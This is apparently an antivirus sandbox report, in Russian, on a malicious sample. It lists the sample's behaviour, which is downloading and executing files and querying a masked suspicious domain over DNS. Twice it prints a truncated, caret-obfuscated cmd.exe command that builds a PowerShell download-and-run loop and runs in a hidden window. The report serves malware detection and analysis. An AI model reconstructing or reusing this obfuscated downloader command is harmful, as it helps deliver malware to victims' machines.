Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /V^:^O/C"^s^e^t ^K^Zv^O=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{^hc^t^ac^}^;^k^a^er^b^;Rr^u^$ ^m^e^t^I^-^e^k^ovn^I^;)Rr^u^$ ^,r^D^w^$(e^li^F^d^a^o^ln^w^oD^.NN^j^$^{^yr^t{)C^s^w^$^ n^i^ r^D^w^$(...
Сетевая активность
UDP
- DNS ASK 29######suw8wuwyuwie.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /V^:^O/C"^s^e^t ^K^Zv^O=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{^hc^t^ac^}^;^k^a^er^b^;Rr^u^$ ^m^e^t^I^-^e^k^ovn^I^;)Rr^u^$ ^,r^D^w^$(e^li^F^d^a^o^ln^w^oD^.NN^j^$^{^yr^t{)C^s^w^$^ n^i^ r^D^w^$(...' (со скрытым окном)
